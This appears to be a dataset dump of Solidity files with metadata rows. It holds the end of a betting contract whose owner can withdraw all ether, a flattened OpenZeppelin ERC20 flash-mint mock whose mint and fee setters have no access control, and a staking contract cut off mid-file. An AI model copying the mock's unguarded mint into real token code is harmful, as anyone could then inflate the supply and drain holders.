event OnNewGame(uint indexed _gameID, address _banker , uint _betLastTime, uint _gameBeginTime, uint256 _gameMinBetAmount, uint256 _gameMaxBetAmount, uint _eventTime, uint eventId);
event OnGameInfo(uint indexed _gameID, string _team1, string _team2, uint _loseOdd, uint _winOdd, uint _sameOdd, uint _eventTime, uint eventId);
function newGame(string _team1, string _team2, uint _loseOdd, uint _winOdd, uint _sameOdd, uint _betLastTime, uint256 _gameMinBetAmount, uint256 _gameMaxBetAmount) public onlyBanker returns(bool _result){
require(bytes(_team1).length < 100);
require(bytes(_team2).length < 100);
require(gameOver);
require(now > bankerBeginTime);
require(_gameMinBetAmount >= 10000000);
require(_gameMaxBetAmount >= _gameMinBetAmount);
require(now < _betLastTime);
require(_betLastTime+ 1 days < bankerEndTime);
_result = _newGame(_team1, _team2, _loseOdd, _winOdd, _sameOdd, _betLastTime, _gameMinBetAmount, _gameMaxBetAmount);
}
function _newGame(string _team1, string _team2, uint _loseOdd, uint _winOdd, uint _sameOdd, uint _betLastTime, uint256 _gameMinBetAmount, uint256 _gameMaxBetAmount) private returns(bool _result){
_result = false;
gameID = gameID.add(1);
team1 = _team1;
team2 = _team2;
loseOdd = _loseOdd;
winOdd = _winOdd;
sameOdd = _sameOdd;
emit OnGameInfo(gameID, team1, team2, loseOdd, winOdd, sameOdd, now, getEventId());
betLastTime = _betLastTime;
gameBeginTime = now;
gameMinBetAmount = _gameMinBetAmount;
gameMaxBetAmount = _gameMaxBetAmount;
emit OnNewGame(gameID, msg.sender, betLastTime, gameBeginTime, gameMinBetAmount, gameMaxBetAmount, now, getEventId());
gameBeginPlayNo = playNo;
gameResult = 9;
gameOver = false;
unpayPooling = 0;
losePooling = 0;
winPooling = 0;
samePooling = 0;
_result = true;
}
event OnSetOdd(uint indexed _gameID, uint _winOdd, uint _loseOdd, uint _sameOdd, uint _eventTime, uint eventId);
function setOdd(uint _winOdd, uint _loseOdd, uint _sameOdd) onlyBanker public{
winOdd = _winOdd;
loseOdd = _loseOdd;
sameOdd = _sameOdd;
emit OnSetOdd(gameID, winOdd, loseOdd, sameOdd, now, getEventId());
}
struct betInfo
{
uint Odd;
address Player;
uint BetNum;
uint256 BetAmount;
uint loseToken;
bool IsReturnAward;
}
mapping (uint => betInfo) public playerBetInfoOf;
event OnPlay(uint indexed _gameID, string _gameName, address _player, uint odd, string _team1, uint _betNum, uint256 _betAmount, uint _playNo, uint _eventTime, uint eventId);
function play(uint _betNum, uint256 _betAmount) public returns(bool _result){
_result = _play(_betNum, _betAmount);
}
function _play(uint _betNum, uint256 _betAmount) private returns(bool _result){
_result = false;
require(!gameOver);
require(_betNum == loseNum || _betNum == winNum || _betNum == sameNum);
require(msg.sender != currentBanker);
require(now < betLastTime);
require(_betAmount >= gameMinBetAmount);
if (_betAmount > gameMaxBetAmount){
_betAmount = gameMaxBetAmount;
}
_betAmount = _betAmount / 100 * 100;
if(userTokenOf[msg.sender] < _betAmount){
depositToken(_betAmount.sub(userTokenOf[msg.sender]));
}
uint BankerAmount = _betAmount.mul(bankerDepositPer).div(100);
require(userTokenOf[msg.sender] >= _betAmount);
require(userTokenOf[currentBanker] >= BankerAmount);
uint _odd = seekOdd(_betNum,_betAmount);
betInfo memory bi= betInfo({
Odd :_odd,
Player : msg.sender,
BetNum : _betNum,
BetAmount : _betAmount,
loseToken : 0,
IsReturnAward: false
});
playerBetInfoOf[playNo] = bi;
userTokenOf[msg.sender] = userTokenOf[msg.sender].sub(_betAmount);
userTokenOf[this] = userTokenOf[this].add(_betAmount);
userTokenOf[currentBanker] = userTokenOf[currentBanker].sub(BankerAmount);
userTokenOf[this] = userTokenOf[this].add(BankerAmount);
emit OnPlay(gameID, gameName, msg.sender, _odd, team1, _betNum, _betAmount, playNo, now, getEventId());
playNo = playNo.add(1);
if(now < donGameGiftLineTime){
DonQuixoteToken.logPlaying(msg.sender);
}
_result = true;
}
function seekOdd(uint _betNum, uint _betAmount) private returns (uint _odd){
uint allAmount = 0;
if(_betNum == 3){
allAmount = _betAmount.mul(winOdd).div(100);
winPooling = winPooling.add(allAmount);
_odd = winOdd;
}else if(_betNum == 1){
allAmount = _betAmount.mul(loseOdd).div(100);
losePooling = losePooling.add(allAmount);
_odd = loseOdd;
}else if(_betNum == 0){
allAmount = _betAmount.mul(sameOdd).div(100);
samePooling = samePooling.add(allAmount);
_odd = sameOdd;
}
}
event OnOpenGameResult(uint indexed _gameID,uint indexed _palyNo, address _player, uint _gameResult, uint _eventTime, uint eventId);
function openGameLoop() public returns(bool _result){
lock();
_result = _openGameLoop();
unLock();
}
function _openGameLoop() private returns(bool _result){
_result = false;
_checkOpenGame();
uint256 allAmount = 0;
for(uint i = 0; nextRewardPlayNo < playNo && i < currentRewardNum; i++){
betInfo storage p = playerBetInfoOf[nextRewardPlayNo];
if(!p.IsReturnAward){
_cashPrize(p, allAmount,nextRewardPlayNo);
}
nextRewardPlayNo = nextRewardPlayNo.add(1);
}
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function openGamePlayNo(uint _playNo) public returns(bool _result){
lock();
_result = _openGamePlayNo(_playNo);
unLock();
}
function _openGamePlayNo(uint _playNo) private returns(bool _result){
_result = false;
require(_playNo >= gameBeginPlayNo && _playNo < playNo);
_checkOpenGame();
betInfo storage p = playerBetInfoOf[_playNo];
require(!p.IsReturnAward);
uint256 allAmount = 0;
_cashPrize(p, allAmount,_playNo);
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function openGamePlayNos(uint[] _playNos) public returns(bool _result){
lock();
_result = _openGamePlayNos(_playNos);
unLock();
}
function _openGamePlayNos(uint[] _playNos) private returns(bool _result){
_result = false;
_checkOpenGame();
uint256 allAmount = 0;
for (uint _index = 0; _index < _playNos.length; _index++) {
uint _playNo = _playNos[_index];
if(_playNo >= gameBeginPlayNo && _playNo < playNo){
betInfo storage p = playerBetInfoOf[_playNo];
if(!p.IsReturnAward){
_cashPrize(p, allAmount,_playNo);
}
}
}
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function openGameRange(uint _beginPlayNo, uint _endPlayNo) public returns(bool _result){
lock();
_result = _openGameRange(_beginPlayNo, _endPlayNo);
unLock();
}
function _openGameRange(uint _beginPlayNo, uint _endPlayNo) private returns(bool _result){
_result = false;
require(_beginPlayNo < _endPlayNo);
require(_beginPlayNo >= gameBeginPlayNo && _endPlayNo < playNo);
_checkOpenGame();
uint256 allAmount = 0;
for (uint _indexPlayNo = _beginPlayNo; _indexPlayNo <= _endPlayNo; _indexPlayNo++) {
betInfo storage p = playerBetInfoOf[_indexPlayNo];
if(!p.IsReturnAward){
_cashPrize(p, allAmount,_indexPlayNo);
}
}
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function _checkOpenGame() private{
require(!gameOver);
require(gameResult == loseNum || gameResult == winNum || gameResult == sameNum);
require(betLastTime + 90 minutes < now);
if(unpayPooling > userTokenOf[this]){
uint shortOf = unpayPooling.sub(userTokenOf[this]);
if(shortOf > userTokenOf[currentBanker]){
shortOf = userTokenOf[currentBanker];
}
userTokenOf[currentBanker] = userTokenOf[currentBanker].sub(shortOf);
userTokenOf[this] = userTokenOf[this].add(shortOf);
}
}
function _cashPrize(betInfo storage _p, uint256 _allAmount,uint _playNo) private{
if(_p.BetNum == gameResult){
_allAmount = _p.BetAmount.mul(_p.Odd).div(100);
_allAmount = _allAmount.sub(_p.loseToken);
if(userTokenOf[this] >= _allAmount){
_p.IsReturnAward = true;
userTokenOf[_p.Player] = userTokenOf[_p.Player].add(_allAmount);
userTokenOf[this] = userTokenOf[this].sub(_allAmount);
unpayPooling = unpayPooling.sub(_allAmount);
emit OnOpenGameResult(gameID,_playNo, msg.sender, gameResult, now, getEventId());
if(_p.BetNum == 3){
winPooling = winPooling.sub(_allAmount);
}else if(_p.BetNum == 1){
losePooling = losePooling.sub(_allAmount);
}else if(_p.BetNum == 0){
samePooling = samePooling.sub(_allAmount);
}
}else{
_p.loseToken = _p.loseToken.add(userTokenOf[this]);
userTokenOf[_p.Player] = userTokenOf[_p.Player].add(userTokenOf[this]);
unpayPooling = unpayPooling.sub(userTokenOf[this]);
if(_p.BetNum == 3){
winPooling = winPooling.sub(userTokenOf[this]);
}else if(_p.BetNum == 1){
losePooling = losePooling.sub(userTokenOf[this]);
}else if(_p.BetNum == 0){
samePooling = samePooling.sub(userTokenOf[this]);
}
userTokenOf[this] = 0;
}
}else{
_p.IsReturnAward = true;
emit OnOpenGameResult(gameID,_playNo, msg.sender, gameResult, now, getEventId());
_allAmount = _p.BetAmount.mul(_p.Odd).div(100);
if(_p.BetNum == 3){
winPooling = winPooling.sub(_allAmount);
}else if(_p.BetNum == 1){
losePooling = losePooling.sub(_allAmount);
}else if(_p.BetNum == 0){
samePooling = samePooling.sub(_allAmount);
}
if(now < donGameGiftLineTime){
DonQuixoteToken.sendGameGift(_p.Player);
}
}
}
function _canSetGameOver() private view returns(bool){
return winPooling<100 && losePooling<100 && samePooling<100;
}
function _withdrawToken(address _from, uint256 _amount) internal {
require(_from != 0x0);
require(_from != currentBanker || gameOver);
if(_amount > 0 && _amount <= userTokenOf[_from]){
userTokenOf[_from] = userTokenOf[_from].sub(_amount);
DonQuixoteToken.transfer(_from, _amount);
}
}
function transEther() public onlyOwner()
{
msg.sender.transfer(address(this).balance);
}
function () public payable {
}
}
| 162,861 | 12,466 |
e8391f0c320dbf69be011bfa7d66a39f5da613b18501f57fdaf2228af6fc0945
| 40,877 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/mocks/ERC20FlashMintMockUpgradeable_flat.sol
| 4,018 | 16,844 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/extensions/ERC20FlashMint.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (interfaces/IERC3156FlashBorrower.sol)
interface IERC3156FlashBorrowerUpgradeable {
function onFlashLoan(address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data) external returns (bytes32);
}
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashLender.sol)
interface IERC3156FlashLenderUpgradeable {
function maxFlashLoan(address token) external view returns (uint256);
function flashFee(address token, uint256 amount) external view returns (uint256);
function flashLoan(IERC3156FlashBorrowerUpgradeable receiver,
address token,
uint256 amount,
bytes calldata data) external returns (bool);
}
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
abstract contract ERC20FlashMintUpgradeable is Initializable, ERC20Upgradeable, IERC3156FlashLenderUpgradeable {
function __ERC20FlashMint_init() internal onlyInitializing {
}
function __ERC20FlashMint_init_unchained() internal onlyInitializing {
}
bytes32 private constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
function maxFlashLoan(address token) public view virtual override returns (uint256) {
return token == address(this) ? type(uint256).max - ERC20Upgradeable.totalSupply() : 0;
}
function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
require(token == address(this), "ERC20FlashMint: wrong token");
return _flashFee(token, amount);
}
function _flashFee(address token, uint256 amount) internal view virtual returns (uint256) {
// silence warning about unused variable without the addition of bytecode.
token;
amount;
return 0;
}
function _flashFeeReceiver() internal view virtual returns (address) {
return address(0);
}
// slither-disable-next-line reentrancy-no-eth
function flashLoan(IERC3156FlashBorrowerUpgradeable receiver,
address token,
uint256 amount,
bytes calldata data) public virtual override returns (bool) {
require(amount <= maxFlashLoan(token), "ERC20FlashMint: amount exceeds maxFlashLoan");
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
"ERC20FlashMint: invalid return value");
address flashFeeReceiver = _flashFeeReceiver();
_spendAllowance(address(receiver), address(this), amount + fee);
if (fee == 0 || flashFeeReceiver == address(0)) {
_burn(address(receiver), amount + fee);
} else {
_burn(address(receiver), amount);
_transfer(address(receiver), flashFeeReceiver, fee);
}
return true;
}
uint256[50] private __gap;
}
contract ERC20FlashMintMockUpgradeable is Initializable, ERC20FlashMintUpgradeable {
uint256 _flashFeeAmount;
address _flashFeeReceiverAddress;
function __ERC20FlashMintMock_init(string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance) internal onlyInitializing {
__ERC20_init_unchained(name, symbol);
__ERC20FlashMintMock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20FlashMintMock_init_unchained(string memory,
string memory,
address initialAccount,
uint256 initialBalance) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function setFlashFee(uint256 amount) public {
_flashFeeAmount = amount;
}
function _flashFee(address, uint256) internal view override returns (uint256) {
return _flashFeeAmount;
}
function setFlashFeeReceiver(address receiver) public {
_flashFeeReceiverAddress = receiver;
}
function flashFeeReceiver() public view returns (address) {
return _flashFeeReceiver();
}
function _flashFeeReceiver() internal view override returns (address) {
return _flashFeeReceiverAddress;
}
uint256[48] private __gap;
}
| 63,148 | 12,467 |
71d0db5cb7c1a465018ba3a3f40cc617987aeddb95e1452eef8cd0aea6c36661
| 26,555 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5a/5aFCd9c00d476B67725769783398be30bac4f310_Staking.sol
| 4,188 | 16,906 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
